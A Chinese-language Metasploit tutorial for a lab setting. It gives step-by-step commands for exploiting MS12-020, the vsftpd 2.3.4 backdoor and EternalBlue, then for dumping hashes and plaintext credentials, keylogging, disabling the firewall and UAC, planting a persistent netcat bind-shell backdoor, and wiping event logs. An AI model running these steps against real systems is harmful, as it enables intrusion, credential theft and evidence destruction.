Metasploit Framework-安全漏洞检测工具使用

一款开源的安全漏洞检测工具,简称MSF。可以收集信息、探测系统漏洞、执行漏洞利用测试等,为渗透测试、攻击编码和漏洞研究提供了一个可靠平台。

集成数千个漏洞利用、辅助测试模块,并保持持续更新。

由著名黑客、安全专家H.D. Moore主导开发

SecTools.Org Top Network Security Tools 排行榜排名第二位

官方网站: Metasploit | Penetration Testing Software, Pen Testing Security | Metasploit 。

在kali中,通过msfconsole进入控制台。

一、MSF漏洞框架常用模块

1)模块

指的是MSF框架中所使用的一段软件代码组件,默认有2000多个漏洞利用模块、1000多个辅助模块,以及好几百个后渗透模块。

2)Auxiliary 辅助

只负责执行扫描、嗅探、指纹识别、爆破等相关功能以辅助攻击,不直接在测试机和目标主机之间建立访问。

3)Exploit 漏洞利用

利用目标系统的安全漏洞发起实际的渗透攻击行为,包括用于破坏系统安全的攻击代码,每个漏洞都有相应的攻击代码。

4)Post 后渗透

在取得目标的远程控制权(“得手”)以后,可以进一步实施的攻击动作,如部署后门木马、获取敏感信息、实施跳板攻击等

5)Payloads 载荷

期望目标系统在被攻破以后执行的代码,方便攻击者实施控制;默认采用reverse_tcp反弹式载荷 ,表示从目标主机连接攻击者主机,提供命令行通道;另有bind shell载荷,则会在目标主机监听某个端口,攻击者连接此端口即获取控制权。

6)Evasion 免杀

在渗透测试中实现免杀,以防止被杀毒软件、防火墙、IDS及类似的安全软件检测出来

7)Encoders 编码器

包含各种编码工具,可以对payload进行编码加密,以便绕过入侵检测和过滤系统。

8)NOPS 空指令

不做任何操作,占位,可生成过防火墙的各种脚本文件。

二、MSF常见的使用及工作区配置

第一步:初始化数据库

[root] msfdb init //初始化数据库

[root] systemctl enable postgresql //开机自启动数据库

[root] systemctl status postgresql //查看数据库状态

    [root] msfconsole   //进入msf控制台   
            
        - 2099 exploits   //利用脚本(攻击脚本)
        - 1129 auxiliary   //辅助脚本(扫描脚本-信息收集)
        - 357 post         //后渗透
        - 592 payloads     //载荷

第二步:创建/删除/切换工作区/检索信息

1)管理工作区

msf6 > workspace //查看默认工作区

msf6 > workspace -a xiaolin   //创建工作区xiaolin

msf6 > workspace default      //切换到default工作区

msf6 > workspace -d xiaolin   //删除工作区xiaolin

2)扫描数据

msf6 > db_nmap -A -v 192.168.100.101 //扫描目标

3)查看扫描结果:

msf6 > workspace -v       //显示工作区详细信息

msf6 > hosts                   //查看扫描的主机

msf6 > services -p 80     //过滤端口

msf6 > services -S http  //过滤应用程序

msf6 > services              //查看所有服务

msf6 > notes                  //查看记录

举例:

msf6 > workspace -v

Workspaces
==========
当前      名字     主机      服务                          记录
current  name     hosts  services  vulns  creds  loots  notes
-------  ----     -----  --------  -----  -----  -----  -----
*        default  1      23        0      0      0      28
         
msf6 > services -p 80
Services
========
主机             端口   协议   名字   状态    消息
host            port  proto  name  state  info
----            ----  -----  ----  -----  ----
192.168.10.143  80    tcp    http  open   Apache httpd 2.2.8 (Ubuntu) DAV/2
msf6 > services -S http   
Services
========

host            port  proto  name  state  info
----            ----  -----  ----  -----  ----
192.168.10.143  80    tcp    http  open   Apache httpd 2.2.8 (Ubuntu) DAV/2
192.168.10.143  8180  tcp    http  open   Apache Tomcat/Coyote JSP engine 1.1

第三、msfconsole基础命令

? //获取帮助

exit    //退出MSF控制台

show    //查看模块或相关信息

search    //搜索模块

use      //使用模块

options     //列出当前模块的选项

set      //设置模块选项

run     //运行当前模块

back   //返回

msfconsole 常见操作

show exploits     //列出所有漏洞利用脚本

show auxiliary      //列出所有的辅助脚本

search http           //搜索和http 关键词相关的脚本

search smb        //搜索和smb 关键词相关的脚本

search EternalBlue //搜索与“永恒之蓝”有关的模块

search EternalBlue type:exploit //过滤出其中的攻击模块

use 0                        //使用编号为0的脚本

options                    //查看当前模块可用的选项

set rhosts 192.168.100.100   //设置远程主机地址

run                                //运行脚本

三、漏洞的利用案例

案例一:MS12-020 远程桌面漏洞-蓝屏

环境准备: kali一台(攻击)   winserver2008(攻击对象)

kali进入到 MSF框架模式: msfconsole

1)查找漏洞

msf6 > search ms12-020

msf6 > search  ms12-020

Matching Modules
================

   #  Name                                              Disclosure Date  Rank    Check  Description
   -  ----                                              ---------------  ----    -----  -----------
   0  auxiliary/dos/windows/rdp/ms12_020_maxchannelids  2012-03-16       normal  No     MS12-020 Microsoft Remote Desktop Use-After-Free DoS
   1  auxiliary/scanner/rdp/ms12_020_check                               normal  Yes    MS12-020 Microsoft Remote Desktop Checker

备注:两个辅助脚本,但是这两个脚本作用不一样
一个是ID为0   有一个关键词 DOS ,这个是发起攻击的脚本
一个是ID为1   有一个关键词 scanner  ,这个是扫描的脚本

2) 使用漏洞模块

msf6 > use 1

3) 设置攻击目标主机

msf6 auxiliary(scanner/rdp/ms12_020_check) > set rhosts     win2008的IP地址

4)执行攻击

msf6 auxiliary(scanner/rdp/ms12_020_check) > run

5) 检查winserver2008是否蓝屏

 案例二:vsftpd 2.3.4 后门漏洞利用CVE-2011-2523

环境准备: kali一台(攻击)   靶机msfadmin-主机(攻击对象)

kali进入到 MSF框架模式: msfconsole

1)查找漏洞

msf6 > search  vsftpd

2) 使用漏洞模块

msf6 > use 0

3) 设置攻击目标主机

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts    靶机的IP地址

4)执行攻击

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

5)空白地方输入linux命令看是否可以

    pwd    ls    ifconfig  等等命令,如果可以,证明攻击成功

案例三:MS17-010永恒之蓝漏洞利用

环境准备: kali一台(攻击)    winserver2008(攻击对象)

kali进入到 MSF框架模式: msfconsole

1)查找漏洞

msf6 > search   ms17-010

2) 使用漏洞模块

msf6 > use 0

3) 设置攻击目标主机

msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhosts    靶机的IP地址

4)执行攻击

msf6 auxiliary(scanner/smb/smb_ms17_010) > run

攻击成功命令行变成:

meterpreter >

1、获取windows 服务器的密文密码

meterpreter > hashdump 

Administrator:500:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b

2、通过kiwi模块获取明文密码

meterpreter >  load kiwi    //加载kiwi

meterpreter > creds_all   //检测所有凭证,该命令可以列举系统中的明文密码

3、屏幕截图和屏幕录制

meterpreter > screenshot //屏幕截图

meterpreter > screenshare //屏幕共享,按快捷键Ctrl + C停止

4、meterpreter环境中,操作远程资源

meterpreter > pwd //查看远程目录位置

meterpreter > lpwd //查看在kali本机的目录

meterpreter > shell //进入目标主机的命令行

5、进程迁移

meterpreter >   ps   //查看进程列表

meterpreter > ps -S explorer     //查找explorer进程(用户权限大、不易被结束)
Filtering on 'explorer'

Process List
============

 PID   PPID  Name          Arch  Session  User                           Path
 ---   ----  ----          ----  -------  ----                           ----
2424 2562  explorer.exe  x64   1        WIN-53H85RJ4I2T\Administrator  C:\Windows\Explorer.EXE               

meterpreter > migrate 2424   //进程迁移,将 SYSTEM 权限 迁移为 Administrator

meterpreter > getuid            //确认迁移后的用户识别码

备注:进程迁移,只能同级别迁移或者高权限用户往低权限迁移,低权限无法往高权限迁

6、执行键盘操作记录

利用后渗透脚本开启键盘记录

meterpreter > run     post/windows/capture/keylog_recorder   //开启键盘记录后渗透脚本

在 winserver2008 打开记事本,输入任意内容

在 kali 检查是否成功记录

打开新的终端,执行命令检查文件

[root]# cat      /root/.msf4/loot/2023042774349_default_192.168.100.100··········· 

7、 防火墙配置

meterpreter > shell

C:\Windows\system32> chcp 65001 //解决中文乱码

1)关闭防火墙

C:\Windows\system32> netsh  advfirewall  set  allprofiles  state  off 

2) 开启防火墙

C:\Windows\system32>netsh  advfirewall  set  allprofiles  state  on

3)添加防火墙入站规则,放行444端口

C:\Windows\system32> netsh  advfirewall  firewall   add     rule   name=xiaolin   dir=in   action=allow   protocol=tcp localport=1234
                            高级防火墙      防火墙     添加     规则   名字      入站     动作    允许     协议         本地端口

netsh advfirewall firewall add rule name=xiaolin dir=in action=allow protocol=tcp localport=1234

8、 关闭UAC

UAC(User Account Control)用户帐户控制,windows操作系统中一种安全控制机制,可以防止未经授权应用程序的自动安装,阻止恶意程序

winserver2008 检查 UAC 状态

运行中输入 msconfig → 工具 → “更改UAC设置” → 启动

修改注册表项,关闭用户账户控制

c:\windows\system>reg ADD  HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System     /v   EnableLUA    /t     REG_DWORD   /d    0    /f

ADD 添加一个注册表项 -v 创建键值
-t 键值类型 -d 键值的值 1开/0关 -f 覆盖现有注册表项

9、在meterpreter 下清除日志

meterpreter > clearev //擦除windows 事件查看器

[*] Wiping 2345 records from Application... //擦除应用日志

[*] Wiping 3564 records from System... //擦除系统日志

[*] Wiping 4521 records from Security... //擦除安全日志

10、持久性后门

NC:(netcat)被称为网络工具中的瑞士军刀,体积小巧,但功能强大。可以在两台设备上面相互交互,即侦听模式/传输模式

案例目标:防止目标主机修补了漏洞后,无法通过系统漏洞侵入目标主机。植入后门并设置开机自启,黑客可以通过后门444口远程控制目标主机

1、上传后面程序nc.exe 到win-2008

meterpreter > upload /usr/share/windows-binaries/nc.exe   c:/windows/system32

查看上传结果及权限

meterpreter > cd c:/windows/system32

meterpreter > ls nc.exe

2、配置注册表开机自启

在 meterpreter > 执行命令,远程配置win-2008注册表,实现nc.exe 能够开机自启

第一:添加键值nc 

**meterpreter > reg setval -k HKLM\software\microsoft\windows\currentversion\run -v nc -d "C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe"

备注:用注册表配置win-2008系统,nc.exe程序开机自启动

第二:查询有没有nc这个键值,确认是否添加成功

meterpreter > reg enumkey -k HKLM\software\microsoft\windows\currentversion\run

Values (3):

nc       //新增的注册表

第三:查询 NC键值的详细数值内容

meterpreter > reg queryval -k HKLM\software\microsoft\windows\currentversion\run -v nc

Key: HKLM\software\microsoft\windows\currentversion\Run

Name: nc

Data: C:\windows\system32\nc.exe -Ldp 1234 -e cmd.exe

3、重启win-2008,看nc是否开机自启动

验证:如果1234端口开启代表nc启动成功

打开命令提示符:

C:\Users\Administrator> netstat -an | findstr "1234"  //或仅执行 netstat -an,查找1234口

4、后门接入

在 kali 连接 winserver2008,在kali 中打开一个新的终端

[root] nc  2008的IP地址  444

C:\Windows\system32> //成功进入到目标主机命令行

5、清楚痕迹

验证:在事件查看器里面看到的是administrator 的登录信息,可以使用cmd命令清空日志

C:\Windows\system32> wevtutil el //列出日志名称

C:\Windows\system32> wevtutil cl application //清除应用程序日志

C:\Windows\system32> wevtutil cl security //清除安全日志

C:\Windows\system32>  wevtutil cl system  //清除系统日志

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/14725.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

随机模型预测控制(SMPC)——考虑概率约束(Matlab代码实现)

目录 💥1 概述 📚2 运行结果 🎉3 参考文献 👨‍💻4 Matlab代码 💥1 概述 模型预测控制(MPC)又称为滚动时域控制和滚动时域控制,是一种强有力的工程应用技术。MPC的价…

信息安全技术 健康医疗数据安全指南 付下载地址

声明 本文是学习GB-T 39725-2020 信息安全技术 健康医疗数据安全指南. 而整理的学习笔记,分享出来希望更多人受益,如果存在侵权请及时联系我们 数据使用管理办法示例 第一章 总则 第一条 为规范数据使用流程,根据国家相关法律法规及相关规定,特制定本…

YOLOv5实时检测调用usb摄像头 [ jetson nano -Ubuntu18.4 - Astra pro相机 ]

在基于rosmaster小车的jetson nano主板部署yolo v5目标检测网络的时候发现无法打开摄像头Astra pro进行实时监测,所以记录一下解决方法: 0.确认摄像头可用 首先先参考我上一篇博客所记录的方法打开USB摄像头: Jetson Nano打开USB摄像头&…

MySQL(二)

MySQL - 常用命令 1. 常用命令2. 操作数据库2.1 操作数据库2.2 创建数据库表2.3 数据库存储引擎2.4 修改数据库(ALTER<改变>) 3. MySQL数据管理3.1 外键3.2 DML语言1. 添加 insert2. 修改 update3. 删除 delete 4. DQL查询数据4.1 基础查询4.2 条件查询4.3 分组查询4.4 连…

生成式AI火爆全球,你是否已经做好了准备?

2023年&#xff0c;随着ChatGPT的火爆全球&#xff0c;生成式AI也引发了各界人士的广泛关注。一时间&#xff0c;从国际科技巨头到国内人工智能企业&#xff0c;几乎所有我们耳熟能详的科技公司&#xff0c;都纷纷杀入了生成式AI市场。 作为全球云计算技术的开创者和领导者&…

HTML+CSS+JS 学习笔记(三)———Javascript(中)

&#x1f331;博客主页&#xff1a;大寄一场. &#x1f331;系列专栏&#xff1a;前端 &#x1f331;往期回顾&#xff1a;HTMLCSSJS 学习笔记&#xff08;三&#xff09;———Javascript(上) &#x1f618;博客制作不易欢迎各位&#x1f44d;点赞⭐收藏➕关注 目录 JavaScrip…

yolov5-fastapi-demo更换中文标签

本章是基于yolov5-fastapi-demo项目的更改 WelkinU/yolov5-fastapi-demo: FastAPI Wrapper of YOLOv5 (github.com) 首先&#xff0c;因为训练的时候设置的标签是英文&#xff0c;换成中文要重新训练&#xff0c;而且使用中文训练也很繁琐要改很多东西&#xff0c;因此可以直…

获奖名单公布|香港BlockBooster x Moonbeam黑客松圆满收官

Moonbeam基金会赞助的”Into the Socialverse”主题的BlockBooster黑客松于近日落幕。该活动由BlockBooster、OKX、Gitcoin和OxU香港区块链俱乐部联合主办&#xff0c;共有22个开发团队参赛。经过多位评委的严格筛选&#xff0c;3支优秀团队脱颖而出&#xff0c;获得Moonbeam基…

汽车充电桩检测设备TK4860C交流充电桩检定装置

TK4860C是一款在交流充电桩充电过程中实时检测充电电量的标准仪器&#xff0c;仪器以新能源车为负载&#xff0c;结合宽动态范围测量技术、电能ms级高速刷新等技术&#xff0c;TK4860C实现充电全过程的累积电能精准计量&#xff0c;相比于传统的预设检定点的稳态计量&#xff0…

为什么建企业网站对企业来说非常重要?

随着互联网的飞速发展&#xff0c;建企业网站已经成为了企业重要的一部分。企业网站是企业与外界沟通的重要渠道&#xff0c;对于企业的品牌形象、市场推广和销售业绩都有着不可替代的作用。本文将从以下几个方面&#xff0c;阐述为什么建企业网站对企业来说非常重要&#xff0…

2023第十四届蓝桥杯 C/C++大学生A组省赛 满分题解

写在前面 以下代码&#xff0c;目前均可通过民间OJ数据&#xff08;dotcpp & New Online Judge&#xff09;&#xff0c; 两个OJ题目互补&#xff0c;能构成全集&#xff0c;可以到对应链接下搜题提交&#xff08;感谢OJ对题目的支持&#xff09; 如果发现任何问题&…

巧用千寻位置GNSS软件|如何快速完成道路桥涵放样

道路桥涵放样主要解决道路施工中正交、斜交涵洞的测量&#xff0c;正交涵洞放样是中心线的定线放样&#xff1b;斜交涵洞放养是涵洞中心线与线路成一固定夹角的情况下的放样。 那么如何运用千寻位置GNSS软件实现道路桥涵放样呢&#xff1f;下面为各位一一介绍。 点击【测量】-&…

Oracle:ORA-00600[4137]问题分析

背景: 在为用户的新机房环境Oracle 19.18版本数据库检查时&#xff0c;发现smon进程后台日志不断出现事务恢复报错Serial Transaction recovery caught exception 30319&#xff0c;进一步检查发现存在事务恢复失败报ORA-00600[4137] 问题: smon进程后台日志不断出现事务恢复报…

Steam-V Rising 私人服务器架设教程

一、安装前的准备 一台服务器 拥有公网IP并且做好了端口映射 二、使用SteamCMD安装服务器 1.下载SteamCMD SteamCMD是Steam专用的命令行式客户端程序&#xff0c;所有的安装方式可以参照&#xff1a;https://developer.valvesoftware.com/wiki/SteamCMD 或者在其他站点自行…

ThinkPHP6之数据库操作上

ThinkPHP6之数据库操作上 前言1. 数据库配置2. 数据库操作1. 查询操作2. 插入操作3. 修改4. 删除5. 其他 3.数据集总结 前言 注意&#xff0c;tp6在进行语法学习的时候都是在app/index.php中写代码的&#xff0c;代码写在index函数下面&#xff0c;而且tp6自带的文件都是由自动…

借助尾号限行 API 实现限行规则应用的设计思路分析

引言 尾号限行是指根据车牌号的末尾数字&#xff0c;规定某些时段内不能在特定区域行驶&#xff0c;这是城市交通管理的一种措施。尾号限行政策的实施可以缓解城市交通拥堵问题&#xff0c;减少环境污染和交通事故等问题。 尾号限行 API 是一种提供已知所有执行限行政策的城市…

Spring5学习总结(五)Spring5的新特性Log4j2@Nullable注解支持函数式风格支持JUnit5

Spring5学习总结&#xff08;五&#xff09;Spring5的新特性/Log4j2/Nullable注解/支持函数式风格/支持JUnit5 整个 Spring5 框架的代码基于 Java8&#xff0c;运行时兼容 JDK9&#xff0c;许多不建议使用的类和方法在代码库中删除 一、支持整合Log4j2 Spring 5.0 框架自带了…

【刷题】Java日常刷题1

A.Sort the Subarray 题意&#xff1a;给出一个数组&#xff0c;一个在此基础上被操作过的数组&#xff0c;找出被操作过的最长的非递减连续序列。 题解&#xff1a;这道题最开始写就被给的样例迷惑了&#xff0c;给出的样例都是被操作过出现非递减序列的片段&#xff0c;因此…

AI 时代的学习方式: 和文档对话

作者&#xff1a;明明如月学长&#xff0c; CSDN 博客专家&#xff0c;蚂蚁集团高级 Java 工程师&#xff0c;《性能优化方法论》作者、《解锁大厂思维&#xff1a;剖析《阿里巴巴Java开发手册》》、《再学经典&#xff1a;《EffectiveJava》独家解析》专栏作者。 热门文章推荐…

AlgoC++第五课:基于矩阵的算法实现

目录 基于矩阵的算法实现前言1. 矩阵2. 矩阵求导推导3. 矩阵示例代码3.1 Matrix.hpp3.2 Matrix.cpp3.3 main.cpp3.4 拓展-cblas_sgemm3.5 拓展-LU分解 4. 多元线性回归5. 多元逻辑回归6. 最小二乘法7. 岭回归(L2)8. 多元牛顿法9. 高斯牛顿法10. Levenberg-Marquardt(修正牛顿法…